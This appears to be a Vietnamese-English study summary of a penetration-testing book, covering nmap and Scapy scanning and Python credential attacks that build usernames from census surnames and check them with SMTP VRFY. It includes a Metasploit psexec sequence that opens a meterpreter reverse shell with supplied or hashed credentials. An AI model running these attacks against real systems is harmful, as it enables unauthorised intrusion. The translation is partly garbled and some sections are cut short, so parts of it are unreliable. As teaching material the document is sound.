Reverse engineering engagements
Reverse là một phần của thử nghiệm thâm nhập, nhưng hiện nay hiếm khi được áp dụng Các thử nghiệm thâm nhập hiện tại thường bao gồm phát triển khai thác để chứng minh khái niệm liên quan đến mã nguồn và truy cập vào hệ thống chứa dữ liệu quan trọng Trong khi đó, các cam kết đảo ngược quy mô lớn tập trung vào việc chứng minh tính dễ bị đảo ngược của ứng dụng và các điểm yếu trong mã nguồn, biên dịch và thư viện Những tương tác này thường phù hợp với kỹ sư đảo ngược, những người xác định các chuỗi và phương pháp tấn công để xâm phạm ứng dụng, thay vì chỉ truy cập dữ liệu quan trọng Nhiều người đánh giá thường chuyển từ thử nghiệm thâm nhập sang kỹ năng đảo ngược toàn thời gian.
Hacking
Hacking không chỉ đơn thuần là một cuộc đánh giá, mà là việc khai thác các lỗ hổng có thể bị tấn công; nó có thể mang tính chất độc hại hoặc phục vụ cho nghiên cứu Mục tiêu của hacking không phải là truy cập vào dữ liệu quan trọng, mà là phát hiện và bẻ khóa các lỗ hổng Mặc dù có nhiều định nghĩa về hacking, nhưng nó thường liên quan đến thử nghiệm thâm nhập mà không có mục tiêu rõ ràng Hiện nay, đã có sự phân biệt rõ ràng giữa kiểm tra thâm nhập và các hoạt động khác, giúp làm nổi bật phương pháp luận đạt được mục tiêu trong hacking.
Phương pháp đánh giá
There are various assessment methods related to penetration testing, including the Open Source Security Testing Methodology Manual (OSSTMM) and the Open Web Application Security Project (OWASP) for web assessments Additionally, the National Institute of Standards and Technology (NIST) provides guidelines in publication 800-115 for conducting these evaluations effectively.
Kỹ thuật kiểm tra an ninh thông tin và đánh giá là rất quan trọng, và trong cuốn sách này, chúng tôi sẽ tập trung vào phương pháp PTES PTES được xem là một nguồn tài nguyên đáng tin cậy cho những người đánh giá mới, giúp họ nắm vững các kỹ năng cần thiết trong lĩnh vực này.
Xác định mục tiêu bằng Nmap, Scapy và Python
Hiểu rõ cách hệ thống giao tiếp
Khi một hệ thống tạo ra dữ liệu, dữ liệu được gửi qua ngăn xếp Transmission Control Protocol (TCP) / Internet Protocol (IP), giúp gói dữ liệu thành dạng có thể truyền qua dây Mô hình Open Systems Interconnect (OSI) thường được sử dụng để thảo luận về cách hệ thống xử lý dữ liệu, trong khi Mô hình TCP/IP phản ánh cách thức hoạt động thực tế của hệ thống.
Frame là phương thức truyền dữ liệu giữa các máy chủ, bao gồm các thành phần quan trọng như địa chỉ phần cứng Media Access Control (MAC) Các frame có sự khác biệt giữa mạng không dây và mạng Ethernet Cuối mỗi frame có một tổng kiểm tra, thực hiện một phép toán cơ bản để xác minh tính toàn vẹn của dữ liệu sau khi truyền tải.
Các frame được sử dụng để giao tiếp trong các broadcast domain hoặc vị trí bên trong các default gateways hoặc trước khi truyền qua bộ định tuyến router.
Sau khi một bộ định tuyến được chuyển qua, địa chỉ phần cứng sẽ được gửi trong các khung tùy thuộc vào giao thức giao tiếp giữa các thiết bị Quá trình này diễn ra liên tục cho đến khi khung dữ liệu đến đích được xác định bằng địa chỉ IP Hiểu rõ điều này là rất quan trọng, đặc biệt nếu bạn muốn thực hiện các cuộc tấn công Man-in-the-Middle (MitM) bằng các công cụ như Responder hoặc Ettercap, vì các cuộc tấn công này hoạt động ở Layer 2 và yêu cầu phải nằm trong Broadcast Domain.
Tấn công không dây liên quan đến việc xâm nhập vào mạng Wi-Fi, yêu cầu kẻ tấn công phải ở trong phạm vi của mã định danh Service Set Identifier (SSID) hoặc tên mạng không dây thực tế.
Hệ thống truyền thông trong mạng không dây có sự khác biệt tùy thuộc vào thiết kế cụ thể, nhưng thường sử dụng các Điểm Truy Cập (Access Points - AP) được nhận diện qua mã định danh Nhóm Dịch Vụ Cơ Bản (BSSID), tương ứng với địa chỉ MAC của AP.
Khi kết nối và xác thực vào mạng thông qua điểm truy cập (AP), người dùng sẽ trở thành một phần của bộ dịch vụ cơ bản (BSS) hoặc một thành phần của mạng doanh nghiệp, nhưng sẽ bị giới hạn trong phạm vi hoạt động của AP.
Khi chuyển sang mạng không dây và kết nối với một điểm truy cập (AP) mới để cải thiện tín hiệu, bạn sẽ tham gia vào một BSS mới Tất cả các BSS đều thuộc về bộ dịch vụ doanh nghiệp (ESS) Đặc biệt, nếu mạng không dây có nhiều hơn một AP, nó sẽ được coi là một ESS Để giao tiếp hiệu quả với các kỹ sư không dây, bạn cần hiểu rằng trong mạng không dây doanh nghiệp, SSID được gọi là SSID doanh nghiệp (ESSID).
Tiêu đề IP chứa thông tin quan trọng cho việc giao tiếp qua mạng thông qua địa chỉ IP, cho phép dữ liệu truyền tải vượt ra ngoài các miền phát sóng Dưới đây là sơ đồ minh họa một tiêu đề mẫu cho header IPv4.
IPv4 đang dần cạn kiệt và IPv6 là giải pháp thay thế Lược đồ địa chỉ mới này cung cấp một lượng lớn địa chỉ máy chủ mới, tuy nhiên, khi so sánh giữa IPv4 và IPv6, có nhiều lỗ hổng bảo mật đáng kể liên quan đến IPv6.
Nhiều tổ chức khi áp dụng các khái niệm bảo mật cho mạng thường bỏ qua IPv6, mặc dù nó được hỗ trợ và bật theo mặc định Điều này dẫn đến việc họ chỉ cấu hình các cơ chế bảo vệ cho địa chỉ IPv4, trong khi IPv6 vẫn hoạt động mà không được giám sát Nếu các thiết bị bảo mật không nhận biết các loại địa chỉ khác nhau trong mạng, các cuộc tấn công có thể xảy ra mà không bị phát hiện.
Sơ đồ sau đây cho thấy một ví dụ về cấu trúc gói IPv6:
Header của gói TCP lớn hơn nhiều so với header của gói UDP, vì nó cần đảm bảo thứ tự, cờ và cơ chế điều khiển Gói TCP được sử dụng để thiết lập và chia nhỏ phiên thông qua nhiều cơ chế khác nhau Các cờ trong gói TCP có thể được điều chỉnh để nhận phản hồi từ hệ thống mục tiêu theo ý muốn của kẻ tấn công.
Hình sau cho thấy một TCP header:
2.1.4 Hiểu rõ cách TCP hoạt động
Bắt tay ba bước TCP
Bắt tay TCP, hay còn gọi là bắt tay ba bước, là quá trình thiết lập kết nối giữa hai hệ thống thông qua ba thông điệp: SYN, SYN-ACK và ACK Hệ thống khởi tạo kết nối bắt đầu bằng một gói tin có cờ SYN, sau đó nhận gói tin phản hồi với cờ SYN và ACK từ hệ thống đích Cuối cùng, hệ thống khởi tạo gửi gói tin ACK để hoàn tất kết nối Trong các hệ thống cũ, việc không thể kết nối có thể dẫn đến hậu quả nghiêm trọng, trong khi hầu hết các hệ thống hiện đại ngày nay chỉ cần thiết lập lại (RST) kết nối hoặc đóng nó khi gặp sự cố.
TCP là giao thức hướng kết nối, trong khi UDP là giao thức hướng không kết nối đơn giản hơn Header của gói UDP ít phức tạp hơn nhiều so với TCP, nhờ vào chi phí thấp hơn trong việc duy trì một socket cho UDP.
2.1.6 Hiểu rõ cách UCP hoạt động
UDP thiết lập một luồng giao tiếp qua cổng lắng nghe, cho phép nhận dữ liệu và xử lý nó trên ngăn xếp TCP/IP khi cần Trong khi TCP cung cấp giao tiếp đồng bộ và đáng tin cậy, UDP không yêu cầu tính năng này.
Hiểu rõ về công cụ Nmap
Nmap là một trong những công cụ phổ biến nhất trong các bộ công cụ đánh giá an ninh mạng, được sử dụng rộng rãi bên cạnh các công cụ khai thác và ứng dụng web khác Mặc dù có nhiều công cụ khác như AngryIP, HPing, FPing, và NetScan, nhưng nmap vẫn nổi bật nhờ khả năng đánh giá đa dạng Trong số các công cụ này, HPing và Unicorn scan là hai công cụ đáng chú ý với những tính năng khác biệt rõ rệt.
Sai lầm lớn nhất của những người đánh giá mới với nmap là thực hiện nhiều lần quét cùng lúc từ một máy chủ Nmap sử dụng ngăn xếp TCP/IP của hệ điều hành, do đó, các quá trình quét bổ sung không làm tăng tốc độ kết quả Thay vào đó, nhiều phiên quét sẽ phải được xử lý đồng thời, dẫn đến việc làm chậm kết quả của mỗi lần quét và tăng khả năng xảy ra lỗi, vì mỗi gói nhận được có thể ảnh hưởng đến kết quả tùy thuộc vào thứ tự mà nó nhận được.
Mỗi gói bị thiếu có thể được gửi lại, dẫn đến việc quá trình quét bị chậm lại Nguyên nhân không chỉ do số lượng gói gửi lại mà còn bởi kết quả không nhất quán và hạn chế của ngăn xếp TCP/IP Do đó, chỉ có thể thực hiện một phiên bản quét nmap trên mỗi máy chủ.
Bên cạnh việc khắc phục các hạn chế của ngăn xếp TCP/IP, việc thao tác gói tin qua nmap cũng gặp một số khó khăn HPing cho phép tạo gói tùy chỉnh một cách dễ dàng cho mục đích cụ thể, nhưng chỉ hiệu quả khi kiểm tra một máy chủ đơn lẻ Đối với nhu cầu ping nhiều máy chủ với tùy chỉnh, FPing là lựa chọn tối ưu, vì kết quả từ FPing có thể dễ dàng phân tích để tạo ra thông tin hữu ích Điều này không làm giảm giá trị của nmap, mà chỉ nhấn mạnh rằng mỗi công cụ có vai trò riêng và cần hiểu rõ những giới hạn của chúng để sử dụng hiệu quả.
2.2.1 Phạm vi mục tiêu của Nmap
Nmap cho phép người dùng nhập mục tiêu thông qua Standard Input (STDIN) từ giao diện dòng lệnh (CLI) hoặc tệp Khi sử dụng CLI, người dùng có thể nhập một loạt địa chỉ IP và ký hiệu CIDR Đối với tệp, địa chỉ IP có thể được nhập bằng nhiều phương thức, bao gồm ký hiệu CIDR, địa chỉ IP, dải ô và danh sách IP phân tách bằng dấu ngắt dòng Để truyền dữ liệu qua CLI, người dùng chỉ cần thêm đoạn mã vào cuối lệnh.
nmap -sS -vvv -p 80 192.168.254.0/24 Đối với phương thức nhập tệp, chỉ cần thêm tùy chọn -iL theo sau là tên tệp:
nmap -sS -vvv -p 80 -iL nmap_subnet_file
Bốn cách quét mà bạn chủ yếu sử dụng là:
Quét kết nối TCP (còn được gọi là quét toàn kết nối)
Quét SYN (còn được gọi là quét nửa mở hoặc ẩn)
2.2.3 Thực hiện quét UDP và TCP kết hợp Để tiết kiệm thời gian, có thể kết hợp quét bằng cách nhắm mục tiêu các cổng cho cả hai loại quét Tuy nhiên, nếu sử dụng nhiều cổng trong quá trình quét này, sẽ mất nhiều thời gian để hoàn thành Vì vậy, điều này rất tốt để nhắm mục tiêu các cổng hàng đầu mà bạn có thể sử dụng để xác định các tài nguyên dễ bị tổn thương có khả năng bị xâm phạm cao nhất, chẳng hạn như sau:
Service types Common port number
Databases 1434 UDP SQL Server Browser Service
2049 TCP Network File Service (NFS)
111 TCP Sun Remote Procedure Call
Remote file services 445 TCP Server Message Block
21 TCP File Transfer Protocol (FTP)
Remote administrative 6000-6005 TCP x11 interface 5900 TCP Virtual Network Connector
25 TCP Send Mail Transfer Protocol
Interface and system/user enumeration services
JBoss Management Page, System Admin Panel
Virtual Private Network (VPN) management details
To perform a combined scan using the 500 UDP Internet Security Association and Key Management Protocol (ISAKMP), simply flag the two types of scans you wish to utilize and list the ports to be scanned, separated by commas for each protocol This is achieved by using the -p option, followed by U: for UDP ports and T: for TCP ports.
Ví dụ: nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.254.0/24
2.2.4 Bỏ qua quá trình quét hệ điều hành
Chuyên gia dày dạn kinh nghiệm thường không sử dụng phương pháp quét này vì nó mang lại ít giá trị hiện tại Việc xác định các chi tiết từ quá trình quét có thể thực hiện nhanh chóng và dễ dàng hơn Thay vào đó, nên tìm hiểu các cổng, nhãn dịch vụ và các phiên bản hệ điều hành, vì chúng có khả năng xác định hệ điều hành và phiên bản tốt hơn so với quét thông thường Hơn nữa, nếu hệ thống không thể được xác định qua phương pháp này, thì khả năng nmap làm được điều đó cũng không chắc chắn, tùy thuộc vào trình độ kỹ năng của người sử dụng.
2.2.5 Các loại đầu ra khác nhau
Đầu ra Grepable không phải là phương pháp tối ưu để lấy dữ liệu, mặc dù nó cung cấp cách dễ dàng để trích xuất thành phần dữ liệu và xây dựng danh sách nhanh chóng Để phân tích cú pháp chính xác với grep, sed và awk, cần phải chèn ký tự để chỉ định vị trí dữ liệu cần trích xuất Bạn có thể thực hiện phân tích cú pháp dữ liệu hiệu quả bằng cách sử dụng cờ -oG để tạo tệp Grepable, sau đó tìm kiếm các cổng mở liên quan đến dịch vụ bằng các lệnh như: cat nmap_scan.gnmap | grep 445/open/tcp | cut -d"" -f2.
/root/Desktop/smb_hosts_list
Một tệp Grepable được đẩy đến STDOUT và chuyển đổi thành tệp Grep để tìm kiếm cổng 445 đang mở Việc này có thể thực hiện dễ dàng bằng cách sử dụng grep và cắt, giúp người dùng dễ dàng đọc và hiểu Khi các cổng được phát hiện, hãy trích xuất địa chỉ một cách hiệu quả.
IP được thu thập và lưu trữ trong một tệp phẳng có tên là smb_hosts_lists Khi kiểm tra tệp nmap_scan.gnmap, bạn sẽ thấy các dòng thông tin chi tiết liên quan đến quá trình quét.
Host: 192.168.195.112 () Ports: 445/open/tcp/ Để chạy bảng điều khiển Metasploit, hãy thực hiện lệnh này: msfconsole
Nếu đang chạy Metasploit Professional từ dòng lệnh, hãy sử dụng cách sau: msfpro
Trong ví dụ này, chúng ta sẽ kiểm tra xem mật khẩu có bị bẻ khóa hay không, bằng cách sử dụng lệnh sau trên máy chủ: `use exploit/windows/smb/psexec`, sau đó thiết lập thông tin người dùng và mật khẩu với `set SMBUser administrator` và `set SMBPass test`, cùng với miền `set SMBDomain Workgroup` Tiếp theo, chúng ta sẽ chỉ định payload với `set payload windows/meterpreter/reverse_tcp`, thiết lập địa chỉ IP mục tiêu bằng `set RHOST 192.168.195.112` và cổng với `set LPORT 443`, cuối cùng là thực hiện khai thác bằng lệnh `exploit -j`.
Lệnh set payload được thực hiện trên máy chủ, với reverse_tcp kết nối trở lại hộp tấn công để thiết lập sự liên lạc RHOST và LPORT xác định máy chủ đích và cổng lắng nghe trên hộp tấn công Khai thác -j chạy khai thác và đưa vào nền, cho phép người dùng quay lại phiên khi cần thiết bằng cách sử dụng session -i Lưu ý rằng không cần thông tin đăng nhập đã bẻ khóa để thực thi smb_login hay psexec; chỉ cần sử dụng PtH Ví dụ lệnh smb_login có thể được viết như sau:
XML sử dụng cấu trúc cây dữ liệu với các thành phần cha và con để gán nhãn cho các tập dữ liệu Điều này giúp việc phân tích cú pháp dữ liệu trở nên dễ dàng và trực tiếp, cho phép truy cập vào các nút cụ thể sau khi duyệt qua cây, từ đó hiển thị rõ ràng mối quan hệ giữa các phần tử cha và con.
Kết quả đầu ra XML rất quan trọng vì nó cho phép tích hợp với các công cụ khác, như Metasploit Bạn có thể dễ dàng xuất ra định dạng XML bằng cách sử dụng tùy chọn -oX.
Nmap Scripting Engine (NSE) là 1 trong những tùy chọn khá lợi hại trong Nmap.
Thư viện Nmap cho Python
Python cung cấp các thư viện hỗ trợ quét nmap, cho phép thực hiện qua trình thông dịch hoặc xây dựng công cụ tấn công Để quét phiên bản Kali cục bộ và tìm cổng dịch vụ Secure Shell (SSH), trước tiên hãy đảm bảo dịch vụ SSH đã được khởi động bằng lệnh /etc/init.d/ssh Sau đó, cài đặt thư viện Python nmap bằng lệnh pip install python-nmap.
Bây giờ, bạn có thể thực hiện quét bằng cách sử dụng các thư viện trực tiếp, nhập chúng và gán nmap.PortScanner() cho một biến Biến khởi tạo này có thể được sử dụng để thực hiện quét Hãy thử quét cổng 22 trong trình thông dịch Python tương tác trên phiên bản Kali cục bộ.
Để tạo một kho từ điển có thể truy cập khi cần, bạn có thể viết một tập lệnh chấp nhận các đối số CLI để quét máy chủ và cổng Việc này yêu cầu nhập hệ thống thư viện và thư viện nmap để thực hiện quét Hãy nhớ sử dụng các trình xử lý điều kiện khi nhập các thư viện không có sẵn trong Python, điều này giúp việc bảo trì công cụ trở nên dễ dàng và chuyên nghiệp hơn.
Khi các thư viện đã được nhập, tập lệnh có thể có các yêu cầu đối số được thiết kế.
Để tập lệnh hoạt động thành công, chúng ta cần ít nhất hai đối số Nếu số lượng đối số ít hơn hoặc nhiều hơn hai, tập lệnh sẽ không chạy và hiển thị thông báo trợ giúp Lưu ý rằng tên tập lệnh được tính là đối số đầu tiên, vì vậy tổng số đối số yêu cầu là ba.
To validate arguments in a Python script, ensure that exactly two arguments are provided: the first for targets and the second for ports If the number of arguments is not equal to three, the script will terminate with an error message prompting the user to input the required information The variables for ports and addresses are then assigned from the command-line arguments.
Running the nmap_scanner.py script without any arguments will result in an error, as shown in the screenshot This script serves as a fundamental component for developing a practical program It initializes a class and passes an IP address along with ports for scanning, which are then printed The code snippet includes importing the necessary libraries and creating a PortScanner instance to scan a specified IP address and port It iterates through all detected hosts, displaying either the IP address and the absence of a hostname or the IP address alongside the corresponding hostname if found.
Kiểm tra cho thấy hệ thống ảo giao diện đã được thử nghiệm với việc xác định tên máy chủ qua định danh Nếu bạn quét địa chỉ IP mà không thực hiện truy vấn dịch vụ tên, bạn sẽ không thể xác định tên máy chủ Dưới đây là ảnh chụp màn hình hiển thị kết quả của tập lệnh này.
Thư viện Scapy cho Python
Scapy là một thư viện Python mạnh mẽ để thao tác và gửi gói tin, nhưng có thể gây khó khăn cho người mới bắt đầu Để dễ dàng tạo các tập lệnh, bạn cần nắm vững một số quy tắc cơ bản về Scapy, đặc biệt là về cờ TCP và cách chúng được biểu diễn Khi Scapy nhận phản hồi cho một gói tin đã gửi, các cờ sẽ được thể hiện bằng các bit nhị phân trong bát phân thứ 13 của TCP header Việc hiểu rõ các vị trí và giá trị nhị phân của mỗi cờ là rất quan trọng để đọc phản hồi chính xác.
Khi đọc phản hồi từ các gói TCP và tìm kiếm cờ, cần thực hiện một số phép toán Bảng cung cấp thông tin sẽ giúp đơn giản hóa quá trình này; lưu ý rằng tài liệu truyền đi là giống nhau Ví dụ, gói SYN có giá trị octet thứ 13 là 2, trong khi SYN + ACK có giá trị 18 Chỉ cần cộng các giá trị cờ để xác định loại gói Ngoài ra, khi ping giao diện loopback hoặc localhost, gói tin sẽ không được thu thập do hạt nhân chặn yêu cầu và xử lý nội bộ qua ngăn xếp TCP/IP Đây là nguyên nhân khiến nhiều người gặp khó khăn với Scapy và có thể bỏ cuộc Thay vì sửa chữa gói tin để tấn công phiên bản Kali, hãy tạo Metasploitable hoặc thử nghiệm cổng mặc định.
3 Executing Credential Attacks with Python 3.1 The types of credential attacks
3.1.1 Defining the online credential attack
Cuộc tấn công thông tin xác thực trực tuyến nhằm vào việc xác thực các giao diện hoặc tài nguyên một cách cưỡng bức, thường mà không biết tên người dùng hoặc mật khẩu Những cuộc tấn công này xảy ra khi không có quyền truy cập vào các tài nguyên cung cấp hàm băm hoặc mật khẩu văn bản rõ ràng Thay vào đó, kẻ tấn công cố gắng đưa ra các phỏng đoán dựa trên nghiên cứu đã thực hiện Các loại tấn công trực tuyến phổ biến bao gồm dictionary, brute force và mật khẩu spray Tài nguyên mục tiêu có thể là một phần của hệ thống như Active Directory (AD) hoặc tài khoản cục bộ trên máy chủ.
3.1.2 Defining the offline credential attack
Tấn công thông tin xác thực ngoại tuyến xảy ra khi kẻ tấn công đã bẻ khóa tài nguyên và trích xuất dữ liệu như các băm, sau đó cố gắng đoán chúng Các phương pháp tấn công này có thể bao gồm từ điển ngoại tuyến, các cuộc tấn công dựa trên quy tắc, brute force hoặc bảng rainbow Thuật ngữ "tấn công thông tin xác thực ngoại tuyến" được sử dụng vì kẻ tấn công cố gắng đoán phiên bản văn bản rõ ràng của mật khẩu trên một hệ thống mà họ không có quyền truy cập.
Metasploitable là một ví dụ hữu ích cho phép kiểm tra các khái niệm bảo mật trong môi trường an toàn và hợp pháp Để bắt đầu, bạn có thể thực hiện một quét nmap đơn giản để phát hiện dịch vụ trên hệ thống Sử dụng lệnh nmap -sS -vvv -Pn -sV để thực hiện SYN quét và tìm kiếm các cổng mở Kết quả cho thấy máy chủ được xác định là Metasploitable, với một số cổng mở, bao gồm Simple Mail Transfer Protocol (SMTP) tại cổng 25.
3.3.1 Generating and verifying usernames with help from the U.S census
Khi xem xét các thành phần của tên người dùng tại nhiều tổ chức, thường thấy rằng chúng bao gồm chữ cái đầu tiên của họ và tên Kết hợp hai yếu tố này tạo ra tên người dùng Bằng cách sử dụng danh sách 1000 tên phổ biến từ U.S Census, có thể áp dụng phương pháp tạo tên người dùng bằng cách tải xuống danh sách họ và thêm vào mỗi họ một chữ cái từ bảng chữ cái, từ đó tạo ra 26 tên người dùng cho mỗi họ Quá trình này sẽ dẫn đến việc tạo ra 26.000 tên người dùng mà không cần thông tin chi tiết từ nguồn công khai.
Khi kết hợp danh sách tên người dùng từ mạng xã hội với các công cụ xác định địa chỉ email, bạn có thể tạo ra một danh sách đáng kể.
Để thực hiện việc này, cần cắt giảm nội dung Trong ví dụ này, chúng ta sẽ sử dụng Python để trích xuất chi tiết từ bảng tính Excel, sau đó xác minh tên người dùng được tạo ra bằng cách kết hợp với danh sách chống lại dịch vụ SMTP thông qua lệnh VRFY.
The first step in this process is to download the Excel spreadsheet, which can be found at the following link: [2000 Surnames Data](http://www.census.gov/topics/population/genealogy/data/2000_surnames.html).
Có thể tải xuống tệp bằng cách sử dụng wget như sau. wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls
Bây giờ, hãy mở tệp Excel và xem nó được định dạng như thế nào để chúng ta biết cách để lấy các chi tiết ra.
Bài viết đề cập đến 11 cột trong bảng tính, trong đó hai cột quan trọng nhất là tên và thứ hạng Tên sẽ được sử dụng để tạo danh sách người dùng, trong khi thứ hạng phản ánh thứ tự xuất hiện ở Hoa Kỳ Trước khi phát triển chức năng phân tích cú pháp tệp điều tra dân số, cần thiết phải xây dựng một phương tiện để nhập dữ liệu vào tập lệnh.
Thư viện argparser cho phép phát triển tùy chọn và đối số dòng lệnh nhanh chóng và hiệu quả Để phân tích bảng tính Excel, thư viện xlrd sẽ được sử dụng, trong khi thư viện string hỗ trợ phát triển danh sách ký tự theo bảng chữ cái Thư viện OS giúp xác định hệ điều hành đang chạy tập lệnh, từ đó xử lý định dạng tên tệp một cách nội bộ Cuối cùng, thư viện collections cung cấp phương tiện sắp xếp dữ liệu trong bộ nhớ từ bảng tính Excel Thư viện xlrd là thư viện duy nhất không có sẵn trong phiên bản Python của bạn và có thể được cài đặt bằng lệnh pip: pip install xlrd.
Tiếp theo, chúng ta sẽ sử dụng một dạng tuple gọi là tuple được đặt tên để xử lý từng hàng của bảng tính Tuple được đặt tên cho phép tham khảo thông tin theo tọa độ hoặc tên trường, tùy thuộc vào cách định nghĩa Điều này rất phù hợp cho việc làm việc với bảng tính hoặc dữ liệu cơ sở dữ liệu.
CensusTuple = namedtuple('Census', 'name, rank, count, prop100k, cum_prop100k, pctwhite, pctblack, pctapi, pctaian, pct2prace, pcthispanic')
Bây giờ, hãy giữ cửa sổ làm việc, bảng tính theo tên và tổng hàng và hàng đầu tiên của bảng tính. worksheet_name = "top1000"
#Define work book and work sheet variables workbook = xlrd.open_workbook(filename) spreadsheet = workbook.sheet_by_name(worksheet_name) total_rows = spreadsheet.nrows - 1 current_row = -1
Sau đó, phát triển các biến ban đầu để giữ các giá trị kết quả và bảng chữ cái thực tế.
# Define holder for details username_dict = {} surname_dict = {} alphabet = list(string.ascii_lowercase)
Each row of the spreadsheet is processed iteratively, with `surname_dict` storing raw data from the cells and `username_dict` holding converted usernames and ranks as strings If a rank value is not detected, it indicates that the value is not a valid number and should be treated as empty, implying that the row lacks actual data and should be skipped The code iterates through the rows, creating a `CensusTuple` for each and populating `surname_dict` with the rank It checks if the rank is valid, eliminating table headers if necessary, and constructs usernames by combining letters from the alphabet with the lowercase name, storing them in `username_dict` alongside their corresponding ranks.
Từ điển lưu trữ giá trị theo khóa mà không có thứ tự, vì vậy chúng ta có thể lấy các giá trị và sắp xếp chúng theo khóa Để thực hiện điều này, chúng ta sử dụng một hàm không tên với lambda, cho phép sắp xếp các chi tiết dựa trên khóa từ điển Hàm này tạo ra một danh sách có thứ tự cho mỗi giá trị trong từ điển và trả về danh sách username_list cùng với cả hai từ điển nếu cần thiết Cú pháp cụ thể là: username_list = sorted(username_dict, key=lambda key: username_dict[key]) return(surname_dict, username_dict, username_list).
Hàm phức tạp nhất trong tập lệnh là hàm loại bỏ bản sao, sử dụng khả năng hiểu danh sách để giảm kích thước của các vòng lặp Biểu thức trong hàm có thể được viết như sau: "for item in liste_sort: if not noted.count(item): noted.append(item)" Để cải thiện khả năng đọc và giảm kích thước, hàm này có thể được chuyển đổi thành khả năng hiểu danh sách, với định nghĩa như sau: "def unique_list(list_sort, verbose): noted = [] if verbose > 0: print('[*] Removing duplicates while maintaining order')".
[noted.append(item) for item in list_sort if not noted.count(item)] # List comprehension return noted